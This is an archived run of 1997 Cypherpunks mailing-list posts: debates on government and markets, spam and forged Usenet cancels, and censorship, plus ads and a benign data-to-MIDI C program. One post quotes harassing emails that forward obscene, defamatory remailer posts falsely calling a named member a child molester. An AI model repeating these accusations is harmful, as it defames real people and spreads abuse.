> > I don't think of government as a "necessary evil", either.  Rather,
> > I think that a government of some kind is an inevitable outgrowth of
> > human nature.  I think this for three compelling reasons: first, it is
> > obversationally true -- there are essentially no human beings who live
> > without a government of some kind; second, because it is in agreement
> > with all my observations and knowledge of human nature; and third,
> > because it makes sense to me as the rational consequence of the
> > existence of force as an interpersonal interaction. 
> 
> As a general rule: less government intervention is more efficient than
> more.

Re: my eating habits, above.

> This is because the free market is better at meeting people's
> demands in a tailored fashion than any socialist/communist planned
> economy handed down by a few big-wigs.

That's hardly a recommendation, now is it?

> Are you against privatisation?  Are you against deregulation?

In general, no.

[...]
> > In fact, of course, the US generates a great deal of wealth for its
> > citizens, who are among the best off and most productive of any nation
> > on earth.  Of course it could be better, but it could be a whole lot
> > worse.  To say that the form of government had nothing to do with that
> > *success* is intellectually dishonest -- one can just as easily argue
> > that things are good in the US largely *because* we have a relatively
> > good government. 
> 
> Jeez, just imagine how much better off you could be without all the
> government crapola.

How so? I could have more money? That's a rathole without a bottom --
I have an adequate supply.  More personal freedom? The main constraint
on me is lack of time to enjoy the freedoms I already have.  If I 
make a realistic assessment of my life, less government isn't going 
to make any significant difference, and I wager that it wouldn't make 
any significant difference to you, either.  We are both members of 
the technological elite, doing pretty damn much what we please, and 
having a good time doing it.

So I am not a good example of someone who might be better off.  Well,
how about someone not in our fortunate position? That's not clear
either, but for entirely different reasons.  In the US the economy has
done very well the last few years, but there is this troubling
undercurrent about the poor getting poorer and the rich getting richer
-- the economy isn't like the tide -- it doesn't seem to float all 
boats.  And I have no confidence that the unfettered free-market 
utopia you dream about is going to be equitable in its distribution 
of wealth.

[...]

> > > eg. I can go buy into Uncle Enzo's pizza delivery and protection
> > > racket because the protection is 5000% better value for money than the
> > > Feds deal.
> > 
> > How do you get out from Uncle Enzo's protection racket when things go 
> > sour, if Uncle Enzo doesn't allow his customers to leave, or even to 
> > say anything bad about him?
> 
> Anyway you just buy into Mr Lee's New Hong Kong protection racket, and
> Uncle Enzo will respect Mr Lee's fire-power enough to consider it not
> worth the effort of picking on small fry like you.

Mr Lee isn't interested in dealing with you -- he will deal with 
Uncle Enzo.  You are an insignificant pawn to both of them, and they 
will divide up their turf according to their own concerns.  Force 
monopolies don't overlap, generally.  But anyway, this is another one 
of those intellectual tinkertoys of freedom...

[...]

> Cultural and societal change have happened in the past.  I guess
> you've read of the feudal systems.  Well society's structure has
> changed.  If you lived in feudal systems, you'd be one of the serfs
> happy with his lot tithing to the lord of the manor, and to the fat
> church, and being left with barely enough to eat.

Yep. Probably.  Everybody was.  That didn't change through serf 
revolts, to my knowledge -- it changed through growth of a merchant 
class. 

[...]
> See anything wrong with making a currently relatively free government
> into an even less restrictive government?

Nope.  It's something I work on, believe it or not.

> Tell me, are the following insane ideas:
> 
> 	- privatisation
> 	- deregulation
> 	- devolution of government power to smaller power bases
> 	- lower taxes
> 	- fewer politicians
> 	- reduced social security system 
> 	- cancel the war on drugs

No.  Obviously not, as I favor all of them :-)  You said, however, 
"any government at all."

[...]

> [I took the perl rsa usage to a new post]

OK.  I now have "RSA, the song" as a midi file, which I will post in 
the next day or two...

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html

From editors at commonwealthpub.com  Sat Aug  2 17:26:25 1997
From: editors at commonwealthpub.com (editors at commonwealthpub.com)
Date: Sat, 2 Aug 1997 17:26:25 -0700 (PDT)
Subject: Authors Wanted
Message-ID: <199707291955.NAA10805@mail.commonwealthpub.com>

Authors Wanted

North American publisher requires book length manuscripts in
all genres for possible publication. Translation services
available.

Reply with outline or synopsis to:
Commonwealth Publications,
email: editors at commonwealthpub.com
fax: (403)-432-9409

Visit our website at http://www.commonwealthpub.com

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From shamrock at netcom.com  Sat Aug  2 03:10:24 1997
From: shamrock at netcom.com (Lucky Green)
Date: Sat, 2 Aug 1997 18:10:24 +0800
Subject: August Cypherpunks Meeting Announcement
Message-ID: <3.0.2.32.19970802120325.006985f4@netcom10.netcom.com>

This month's SF Bay Area Cypherpunks meeting will take place at a new
location. Please pay close attention to the directions.

We will have several interesting topics to talk about, but have very
limited time. Please be there on schedule or you will miss the good stuff.

When:
Saturday, August 9, 1997 at 1:00 PM PDT. [22:00 local]

Where:
The Workshop tent, HIP'97 Campground, Almere, The Netherlands.

How to get there:
Take any plane from SFO to Shipol. Then follow the directions at
http://www.hip97.nl/route.html

This month's topics include:
o The electronic release of the PGP 5.0 platform independent source code.
o An introduction to the PGPcdk, a cryptographic toolkit.
o The Onion Router beta release.
o Practical phone encryption.
o Fast crypto on a smartcard.

What to do if you get lost:
Call me at my cell phone. +31 (0)6 5373-5125.

See you there,

--Lucky Green 
  PGP encrypted mail preferred.
  Be HIP and join us for HIP'97 in Amsterdam.
  http://www.hip97.nl/

From announce at dmail1.prognet.com  Sat Aug  2 04:46:39 1997
From: announce at dmail1.prognet.com (RealAudio & RealVideo News)
Date: Sat, 2 Aug 1997 19:46:39 +0800
Subject: Hear 30 Full-length Albums from Warner Bros. Records in RealAudio
Message-ID: <199708021034.DAA00156@dmail2.prognet.com>

Dear RealPlayer User,

Thank you for using RealPlayer software
for RealAudio and RealVideo.

I'm writing to tell you about a special
offer available exclusively for users
of the enhanced RealPlayer Plus.

If you order and download RealPlayer Plus,
you'll get access to 30 full-length albums
from Warner Bros. Records, presented in RealAudio.

RealPlayer Plus delivers benefits you
can't get anywhere else, including: 

- The best quality audio and video at 28.8

- One-button scanning for the best
  live audio & video on the web

- Instant access to your favorite RealAudio
  and RealVideo content with preset buttons

- Packaged CD-ROM and manual plus
  free telephone technical support 

Please visit our Web site for more information
or to download RealPlayer Plus:

   http://www.real.com/wbr/order.html

I hope you enjoy RealPlayer Plus,

Maria Cantwell
Vice President of Marketing,
Progressive Networks

---------------------------------------------
 For information about this e-mail including
 how to subscribe to or unsubscribe from
 future announcements, please visit:
 http://www.real.com/mailinglist/index.html

From declan at pathfinder.com  Sat Aug  2 06:14:47 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Sat, 2 Aug 1997 21:14:47 +0800
Subject: Jim Bell & e-commerce
In-Reply-To: <3.0.2.32.19970802014824.007c9a10@mailhost.sk.sympatico.ca>
Message-ID: 

David,

Check out netlynews.com and search for Assassination. That'll get you
my story on Bell from early April.

-Declan

On Sat, 2 Aug 1997, David Yaffe wrote:

> Hi,
> I'm fairly new to the list and to crypto/political issues.. 
> 
> question one: What did Jim Bell do that go him into trouble?
> question two: If all non-key-escrow crypto systems become banned, won't
> that make e-commerce illegal? 
> Thanks
> David
> "You can take my PGP when you pry it from my cold, dead fingers"
> 
> 

From paul at fatmans.demon.co.uk  Sat Aug  2 07:08:10 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sat, 2 Aug 1997 22:08:10 +0800
Subject: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <33DF81CF.1662D004@cptech.org>
Message-ID: 

> > Persuation is not the point, it is not necessary to persuade people
> > that
> > censorship is morally wrong in order for it to be so.
> 
>      Well, if persuasion is "not necessary," then why do you care about
> anyone's views on this?

I don`t give a fuck about anyone elses views, however, I debate such 
points here and elsewhere for my own personal pleasure, the real power to 
change things comes through the use of technology, not debate.

>     On your other point, I really don't agree that is morally wrong to
> take steps to prevent children from having access to pornography. 
> People may propose ways of doing this which are objectionable, but the
> basic goal is hardly immoral.  Indeed, many think it is immoral not to
> protect children.

Foo. I see no point in pursuing this any further.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"

From paul at fatmans.demon.co.uk  Sat Aug  2 07:11:40 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sat, 2 Aug 1997 22:11:40 +0800
Subject: Spam is Information?
In-Reply-To: 
Message-ID: 

> almost totally redundant.  Instead of posting 1 message,
> 1000 messages are posted.  The 2nd through 1000th message
> add no more information than the first.  This would not be a
> problem if the network had infinite bandwidth and storage
> capabilities.  

1. When a message is cross-posted using the "newsgroups:" line only one 
copy is sent to the news-spool and is seen in all the relevent newsgroups.

2. Bandwidth requirements are no justification for censorship, unless you 
own the equipment you are removing the messages from, even then it is 
reprehensible.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"

From paul at fatmans.demon.co.uk  Sat Aug  2 07:21:21 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sat, 2 Aug 1997 22:21:21 +0800
Subject: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: 
Message-ID: 

> It generally is not morally wrong to take steps to prevent children from
> having access to pornography, provided they're your children or you have a
> custodial relationship. 

I used to be of broadly this opinion, and still am conviced it is so, 
However, I think we have to separate saying something is not morally 
wrong from encouraging it, I believe parents may censor their childrens 
access to information as they see fit, but I don`t think they should.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"

From dlv at bwalk.dm.com  Sat Aug  2 08:30:42 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 2 Aug 1997 23:30:42 +0800
Subject: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <199707311344.IAA17797@mailhub.amaranth.com>
Message-ID: 

"William H. Geiger III"  writes:

> In <199707311120.MAA00669 at server.test.net>, on 07/31/97
>    at 12:20 PM, Adam Back  said:
>
> >Another longer term way to improve the situation is to charge some small
> >token amount per article, just to encourage people to use it with some
> >intelligence (use cross posts rather than separately reposting to each
> >group).
>
> This will not work!!!
>
> Charging for e-mail/news posts will no nothing to prevent spam and more
> than likely increase the noise on such lists. It is the spamers who have
> the money to post volumns of their crap. Allso I think you will find that
> it will be the fanatics who will think it worth the $$$ to get their
> message out.

In all fairness, it would decrease the "spam" because some spammers are
certain to be unwilling to pay for braodcasting the kind of crap they
now broadcast for a flat fee. However it would not eliminate the "spam"
and it would damped the "signal" more than it would damped the "noise".

In my opinion, the recipient of the "spam" should not have to pay
anything. Now, some service charge per packets transmitted or the
time spent online. Their users are therefore pushed into trying to
censor "spam", flames, or anything else they find off-topic. Even
when there's no monetary cost, some people use crappy software to
read usenet or mailing lists, and it takes them time to ignore what
they don't like, and they value their time and become angry.

> >Also, this might be an interesting information market model because
> >technical experts might even find themselves with a well paid job of
> >answering technical questions in newsgroups.
>
> There is a web site that is doing exactly this. They provide forums for
> users to post technical questions in which "experts" will answer them.
> Upon receiving the answer the person who posted the question is requested
> to rate the answer. I haven't been on the site in awhile but the last time
> I was there they were working on a mechinism to compensate their "experts"
> for answering questions. They had a point system based on the difaculty of
> the questions. After registering with them and obtaining a certain number
> of points for correctly answering questions you would be classified as an
> "expert" for that forum which then would make you eligable for
> compensation. I believe all funds were to be generated through web page
> advertisement.
>
>
> I'll see if I can find the URL for the site and post it to the list.

Most of my posts on newsgroups like nyc.food or comp.unix.questions are
answers to other people's questions.  I'd love to see this concept
extended to Usenet - sort of like "shareware".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

From dlv at bwalk.dm.com  Sat Aug  2 08:32:09 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 2 Aug 1997 23:32:09 +0800
Subject: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <19970731100829.06883@math.uiuc.edu>
Message-ID: 

Tim Skirvin  writes:

> "Dr.Dimitri Vulis KOTM"  writes:
>
> > 1. "Spam cancellers" are not generally news admins. They are plain old
> > users who get kicked off of their ISPs for forging cancels. For examples,
> > see Net.Scum pages of Rick Buchanan, David Ritz, et al.
>
> 	Many spam cancellers are news admins.  Most of the major ones are
> admins, in fact - Chris Lewis, JEM, etc.

You're splitting hairs.  One very unpleasant cancel-forger, Jan Isley,
was the admin of a site where he was also the sole user.  When I posted
to usenet the expose's of jan's net-abuse (forged cancels) and asked
everyone to complain to his upstream site (Emory University), Jan Isley
forged cancels for 6 of my articles claiming that I "advocate harrassment
of uninvolved third parties".  Well, the third parties got complaints
anyway and pulled jan's plug in no time. :-)

For the archetypal "spam canceller", please examine Tim Brown's
net.Scum page at http://www.netscum.net/brownt0.html when that site
is up.

> > 2. Once a cancel-forger builds a "reputation" as a "spam canceller",
> > s/he often diversifies into "retromodetration" - forgng cancels for
> > singly-postd articles whose contents they don't like and claiming that
> > they were "spam". For examples, see the Net.Scum pages for Guy Macon
> > (the retromoderator on soc.religion.quaker), Chris Lewis, et al.
>
> 	This rarely happens, actually, and such situations are quickly
> slapped down as soon as they're spotted.
>
> 	The two examples Dimitri gives, of course, are major
> misrepresentations.

Who's misrepresenting what, Tim?

Chris Lewis has a 'bot that forges cancels for multi-posted articles.

Chris Lewis forges cancels by hand for articles that are critical of
him (claiming that they're "spam"), for articles that quote his earlier
articles (claiming that they violatehis copyright), posts numerous
lies about me (which you yourself partialy refutes the other day).

Tim Brown, a similar "spam canceller", forges cancels for "spam" as
well as articles that make fun of his newsletter, "The Last Word".

Etc, etc - take a look at www.netscum.net for numerous other examples.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

From dlv at bwalk.dm.com  Sat Aug  2 08:32:57 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 2 Aug 1997 23:32:57 +0800
Subject: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <199707311120.MAA00669@server.test.net>
Message-ID: 

Just commenting on some stuff I missed earlier:

Adam Back  writes:

...
> Another longer term way to improve the situation is to charge some
> small token amount per article, just to encourage people to use it
> with some intelligence (use cross posts rather than separately
> reposting to each group).

Problem is, a "small token" for some may be a lot of money for someone
else. A poor person may be unwilling to part with 5c; a rich person or
a corporation may still be willing to spend a million dollars on an
advertising campaing (selling something or warning about the second
cumming of Jesus).  The way the things are now, everyone is equally
free to post and if you're into reputations, they can build one with
the contents of their writings, not the amount of money they can
afford to spend on posting.

> It is also entirely possible for people to have 'bots which auto-post
> in response to articles matching keywords, or matching authors.
> (We've seen a few of these on cypherpunks).
>
> If people want to make a nuisance for others by spewing random garbage
> via bots to newsgroups, they could post mega bytes of stuff per day
> and swamp the content.  What can you do about this?  Charging a small
> amount per post, or per megabyte would provide a small disincentive
> for this type of behaviour.  However it would never reflect the true
> cost to USENET bandwidth as a whole.

I'm sorry, I don't see how posting megabytes of noise every day can
swamp the content. Moreover, if such actions were indeed cause a problem,
they would not be eliminated with payments. Some people would be willing
to spend money to "flood" the net with what you consider to be "spam" -
because they're rich or because they have access to a large advertising
budget. The solution is for you to make sure you're using a reader that
lets you find the content from

A while ago I read an interesting story about the behavior of German
tourists with cars in Czech republic.  The Czechs used to discourage
their own population from 1) speeding, 2) parking in inappropriate
places by imposing fines.  The fines were a lot of money for the locals,
but small change for the Germans (because of the screwed up exchange
rates for the most part). The Germans would speed on the local roads
and park their cars where they obstructed traffic since the fines
were no deterrent.

Natrurally, there's a huge difference between an inappropriately parked
car and a Usenet article. If you can't get our of your garage because
some tourist's car is parked in your driveway, it's a problem. If a
usent article is "inappropriately posted", you can just ignore it.

> One interesting idea which has been floated on this list in the past
> is for authors to have their free posting rate moderated by other
> peoples ratings of their posts.
>
> One way to implement this is for other people to pay the author for
> their articles a penny if they like the article.  That way people who
> write things which others find interesting to read get subsidized
> posting.  Is it still free speech if you have to pay for your posts if
> you're arguing for an unpopular minority?

Now that is another very interesting suggestion from Adam.

Instead of discouraging the behavior you don't like, encourage the
behavior you do like.

A shareware-like concept - send e-cash donations to the posters of
usenet articles that you like and whom you want to encourage.

Make 1 cent the standard "tip" for an article that you read and liked.
Feel free to send more if you like an article a lot. Don't send anything
if you don't like the article or if you've killfiled the author.

> Also, this might be an interesting information market model because
> technical experts might even find themselves with a well paid job of
> answering technical questions in newsgroups.

Or the ones who post good porn in alt.binaries.pictures.erotica.
Reward the ones whose postings others do want to read. Yes,
an excellent idea if you can work out the details.

I invite Adam and David to subscribe to the freedom-knights mailing list
(send 'subscribe freedom-knights at jetcafe.org' to majordomo at jetcafe.org)
if you want to continue this not-quite-crypto discussion there.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

From dlv at bwalk.dm.com  Sat Aug  2 08:37:04 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 2 Aug 1997 23:37:04 +0800
Subject: Entrust Technologies's Solo - free download
In-Reply-To: <19970731101458.59875@math.uiuc.edu>
Message-ID: 

Tim Skirvin  writes:

> "Dr.Dimitri Vulis KOTM"  writes:
>
> > Paul Pomes is a fouil-mouthed liar.  Please see his Net.Scum page at
> > http://www.netscum.net/pomesp0.html.
>
> 	What, you mean "Paul B. Pomes, ppomes at qualcomm.com, former
> p-pomes at uiuc.edu, mailbombs posters and their upstream sites with
> obscenities and false complaints."  That's the best you guys can do -
> complain about obscenities and 'false complaints'?
>
> 	You guys don't know Paul very well, do you?

The people on the Cypherpunks mailing list know Paul Pomes as a member of
Gary Burnore's databasix gang who has been complaining to remailer
operators' upstream sites and employers (such as Jeff Burchell).

Here are some of the e-mails I've received from Paul Pomes:

]From ppomes at Qualcomm.com  Mon May  5 15:42:15 1997
]Received: by bwalk.dm.com (1.65/waf)
]	via UUCP; Mon, 05 May 97 16:07:50 EDT
]	for dlv
]Received: from zelkova.qualcomm.com by uu.psi.com (5.65b/4.0.061193-PSI/PSINet) via SMTP;
]        id AA05094 for dlv at bwalk.dm.com; Mon, 5 May 97 15:42:15 -0400
]Received: from localhost (localhost [127.0.0.1])
]	by zelkova.qualcomm.com (8.8.5/8.8.5) with ESMTP id MAA04331
]	for ; Mon, 5 May 1997 12:42:12 -0700 (PDT)
]X-Mailer: exmh version 2.0gamma 1/27/96
]To: dlv at bwalk.dm.com
]From: Paul Pomes 
]Organization: Qualcomm, Inc.
]Mime-Version: 1.0
]Content-Type: text/plain; charset=us-ascii
]Date: Mon, 05 May 1997 12:42:11 -0700
]Message-Id: <4328.862861331 at zelkova.qualcomm.com>
]Sender: ppomes at Qualcomm.com
]
]I take this all to mean that you are Master Cocksucker Dimwit Vulis?
]After all I was always taught to consider the source.
[my totally unrelated cypherpunks article snipped]

Paul Pomes sends me harrassing e-mail and quotes more obscenities from
the anonymous remailers:

]From ppomes at Qualcomm.com  Mon May  5 14:34:22 1997
]Received: by bwalk.dm.com (1.65/waf)
]	via UUCP; Mon, 05 May 97 16:07:56 EDT
]	for dlv
]Received: from zelkova.qualcomm.com by uu.psi.com (5.65b/4.0.061193-PSI/PSINet) via SMTP;
]        id AA29061 for dlv at bwalk.dm.com; Mon, 5 May 97 14:34:22 -0400
]Received: from localhost (localhost [127.0.0.1])
]	by zelkova.qualcomm.com (8.8.5/8.8.5) with ESMTP id LAA04164
]	for ; Mon, 5 May 1997 11:34:15 -0700 (PDT)
]X-Mailer: exmh version 2.0gamma 1/27/96
]To: dlv at bwalk.dm.com
]From: Paul Pomes 
]Organization: Qualcomm, Inc.
]X-Url: 
]Mime-Version: 1.0
]Content-Type: text/plain; charset=us-ascii
]Date: Mon, 05 May 1997 11:34:15 -0700
]Message-Id: <4161.862857255 at zelkova.qualcomm.com>
]Sender: ppomes at Qualcomm.com
]
]My alias of dimwit for you is appropriate.
]------- Forwarded Message
]
]Date:    Sun, 04 May 1997 13:39:11 +0200
]From:    nobody at replay.com (Anonymous)
]To:      cypherpunks at toad.com
]Subject: Re: Firewalls
]
]Timmy Mayo the self-admitted child molester
]possesses a rudimentary dick less than one
]inch long, half the size of his mother's
]clitoris, that barely makes a fistful. Thereby
]hangs the root of this Jew-hating sissy's sick
]fixation on little boys and Usenet forgeries.
]
]         \|||/
]         (o o)
]     -ooO-(_)-Ooo- Timmy Mayo
]
]
]------- End of Forwarded Message
]
]

]From ppomes at Qualcomm.com  Wed May  7 17:27:20 1997
]Received: by bwalk.dm.com (1.65/waf)
]	via UUCP; Wed, 07 May 97 19:18:55 EDT
]	for dlv
]Received: from zelkova.qualcomm.com by uu.psi.com (5.65b/4.0.061193-PSI/PSINet) via SMTP;
]        id AA21866 for dlv at bwalk.dm.com; Wed, 7 May 97 17:27:20 -0400
]Received: from localhost (localhost [127.0.0.1])
]	by zelkova.qualcomm.com (8.8.5/8.8.5) with ESMTP id OAA08611
]	for ; Wed, 7 May 1997 14:26:32 -0700 (PDT)
]X-Mailer: exmh version 2.0gamma 1/27/96
]To: dlv at bwalk.dm.com
]From: Paul Pomes 
]Organization: Qualcomm, Inc.
]X-Url: 
]Mime-Version: 1.0
]Content-Type: text/plain; charset=us-ascii
]Date: Wed, 07 May 1997 14:26:31 -0700
]Message-Id: <8608.863040391 at zelkova.qualcomm.com>
]Sender: ppomes at Qualcomm.com
]
]And you fancy yourself a human being.  We all have our illusions.
]
]------- Forwarded Message
]
]Date:    Tue, 06 May 1997 03:14:52 -0400
]From:    lucifer at dhp.com (lucifer Anonymous Remailer)
]To:      cypherpunks at toad.com
]Subject: PGP
]
]Tim C[retin] Mayflower styles his facial hair to look more
]like pubic hair.
]
]      ,,,
] -ooO(o o)Ooo- Tim C[retin] Mayflower
]      (_)
]
]
]------- End of Forwarded Message
]

Please tell me, Tim, why you disagree with Paul's description on his
Net.Scum page.

I'm posting this for the record to the F-K list, so people are aware
of the kind of behavior Tim Skirvin condones in his friends.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

From dlv at bwalk.dm.com  Sat Aug  2 08:39:20 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 2 Aug 1997 23:39:20 +0800
Subject: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <19970731090023.27288@math.uiuc.edu>
Message-ID: 

Tim Skirvin  writes:

>
> Ryan Anderson  writes:
>
> > "Make Money Fast" are killed because they're illegal scams in the US and I
> > think in most of the world.
>
> 	Make.Money.Fast is killed because it's spam a few thousand times
> over.  The legality of it doesn't come into question.

Look in your "control" newsgroup, and you'll see that most of the
cancels forged for the MMFs state in the body that they're being
cancelled because they're "illegal". To save bandwidth, here's one
counterexample to Tim's claim:

]Path: ...!newsfeed.internetmci.com!news.msfc.nasa.gov!cyberspam!not-for-mail
]From: news at news.msfc.nasa.gov
]Newsgroups: sci.physics
]Subject: cmsg cancel <32684BAE.68B3 at computer.mic> no reply ignore
]Message-ID: 
]Date: Sat, 19 Oct 1996 15:07:31 GMT
]Control: cancel <32684BAE.68B3 at computer.mic>
]Sender: listentome 
]Reply-To: bitbucket at news.msfc.nasa.gov
]Organization: Semi-Automatic Chain Letter Remover
]Lines: 3
]Approved: news at news.msfc.nasa.gov
]X-No-Archive: Yes
]X-Canceled-by: news at news.msfc.nasa.gov
]
]ignore
]
]Illegal MMF canceled by news at news.msfc.nasa.gov

You will notice that the anonymous cancel came from a .gov site. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

From kent at songbird.com  Sat Aug  2 09:49:04 1997
From: kent at songbird.com (Kent Crispin)
Date: Sun, 3 Aug 1997 00:49:04 +0800
Subject: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <199707311120.MAA00669@server.test.net>
Message-ID: <19970802092944.06562@bywater.songbird.com>

On Sat, Aug 02, 1997 at 09:31:20AM -0500, Dr.Dimitri Vulis KOTM wrote:
> Just commenting on some stuff I missed earlier:
> 
> Adam Back  writes:
> 
> ...
> > Another longer term way to improve the situation is to charge some
> > small token amount per article, just to encourage people to use it
> > with some intelligence (use cross posts rather than separately
> > reposting to each group).
> 
> Problem is, a "small token" for some may be a lot of money for someone
> else. A poor person may be unwilling to part with 5c; a rich person or
> a corporation may still be willing to spend a million dollars on an
> advertising campaing (selling something or warning about the second
> cumming of Jesus).  
>
> The way the things are now, everyone is equally
> free to post and if you're into reputations, they can build one with
> the contents of their writings, not the amount of money they can
> afford to spend on posting.

In more general terms: A "free market" fundamentally grants more
control to those with more money.  Postage of whatever variety turns
the medium over to those with more money.  That would, in my opinion, 
fundamentally alter the character of email in a strongly negative 
direction. 

This, by the way, is one of the fundamental problems with the
proposition that a free market is the appropriate response to every
social issue -- in many arenas a broad primary goal is allowing equal
opportunity to each individual.  

In a "free market" a fundamental feedback loop is that inequality of
distribution of wealth increases -- this obviously follows from the
fact that it is easier to make money if you have money.  With wealth
goes control.  Thus, the ultimate end of completely unfettered free
markets is fascism, where the wealthy run the government.  This is
another manifestation of the fundamental conflict between democratic
ideals and unfettered free markets. 

Naturally, rich, indolent technologists tend to favor schemes that 
will put them in control. :-)

[...]

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html

From paul at fatmans.demon.co.uk  Sat Aug  2 11:44:23 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sun, 3 Aug 1997 02:44:23 +0800
Subject: free market services vs monopoly government
In-Reply-To: <19970802015614.65348@bywater.songbird.com>
Message-ID: 

> But your reasoning is this, apparently: "Kent says he doesn't believe
> it is possible for a human society to not have a government, therefore
> Kent favors big intrusive government." This kind of "reasoning" is
> rife on cypherpunks; may I suggest it is beneath you?

I don`t think this is a necessarily entirely spurious line of reasoning, 
all government leads to large and intrusive government, it is the nature 
of power that it corrupts and is addictive. So the statement above could 
be corrected to "Kent says he doesn`t believe it is possible for a human 
society to not have a government, therefore Kent favours a system which 
would eventually "evolve" into big intrusive government".
Anyway, the argument over anarchism vs. minarchism comes down very much 
to how you define government, if you define government as a body of 
people given the power to pass laws over the citizens of that 
jurisdiction, then government is indeed a bad thing per se, however, if 
you define government as a loose informal set of social norms and codes 
of behaviour (for a libertarian example see the NAP) then government is 
indeed present in all civilised and succesful human societies, real or 
conjectured.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"

From kent at songbird.com  Sat Aug  2 12:16:06 1997
From: kent at songbird.com (Kent Crispin)
Date: Sun, 3 Aug 1997 03:16:06 +0800
Subject: RSA - the song
In-Reply-To: <199708011035.LAA01061@server.test.net>
Message-ID: <19970802120226.07980@bywater.songbird.com>

On Fri, Aug 01, 1997 at 11:35:02AM +0100, Adam Back wrote:
[...]
> 
> print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 
> > I dug out a midi interpreter I wrote a number of years ago, 
> > and it is indeed trivial to modify it to read any text as input.  
> > Unfortunately, I wrote that long before the midi file spec was 
> > finalized, and the hardware I wrote it for is also long gone.  But 
> > it's probably not much work to get file output working again...and 
> > the thought of a general text-to-midi translator is rather 
> > entertaining -- I could play this entire mail message through it, for 
> > example... It would definitely make better music if some rhythmic 
> > variation was part of the coding, but that would make it a little 
> > harder to make an automatic decoder...
> 
> I'd find it most cool to hear an audio file of the above.

Well, I generated a midi file that encodes music which in turn is a 
direct algorithmic encoding of your program.  I didn't have a 
convenient way to go to a direct sound file, but midi players are 
very widely available -- any recent pc with a sound card will have a 
"multimedia midi jukebox" or something like that.  And there are 
probably free ones on the net -- I didn't look.  The midi file will 
be a mime attachment to this message.  It's also at 

	ftp://songbird.com/pub/rsa.mid 

For aesthetic reasons I modified the encoding from the simple one
mentioned earlier, and, rather than try to modify one of my earlier
midi programs, I just hacked this one out from other sources.  The
program will actually encode any binary data into a piece of music. 

I think that musically the piece is actually somewhat interesting -- I
kind of like it.  Like the source text, it is rather dense.  But if
you listen to it a few times patterns and phrasing will appear.  It 
sounds like reasonable avante garde music, actually -- something a 
college radio station might broadcast to the world late at night...

The program is really rather trivial, so rather than describing the 
encoding, I am just appending it to this message.

--------------------------------------------------------------------
/*
    dtom -- convert data to midi
        dtom midifile 
#include 
#include "midifile.h"

#define ROOT 36

FILE *fp;

/* offsets for three octaves of diatonic major scale */
int scale[] = {0,2,4,5,7,9,11,12,14,16,17,19,23,24,26,28,29,31,33,35,36};

mputc(c) { return(putc(c,fp));}

int writetrack(track)
int track;
{
    int note_duration;
    int rest_duration;
    int high_nybble;
    int low_nybble;
    char c;
    char n1[2];
    char n2[2];

    mf_write_tempo((long)100000);

    while( (c = getchar()) != EOF ) {

        high_nybble = (c>>4) & 0xf;
        low_nybble  = c & 0xf;

	/* low note */
        n1[0] = scale[low_nybble]+ROOT;	/* note number */
        n1[1] = 64;                     /* velocity */

	/* high note */
        n2[0] = scale[high_nybble]+ROOT+scale[16];
        n2[1] = 64;

	/* shouldn't happen */
	if( n1[0] >= n2[0] ) printf("warning -- voice crossover!\n");

	/* note_duration needs to be long enough for pitch detectors */
	note_duration = 120*((c&15) + 4);
	rest_duration = 120*(((c>>5)&3));

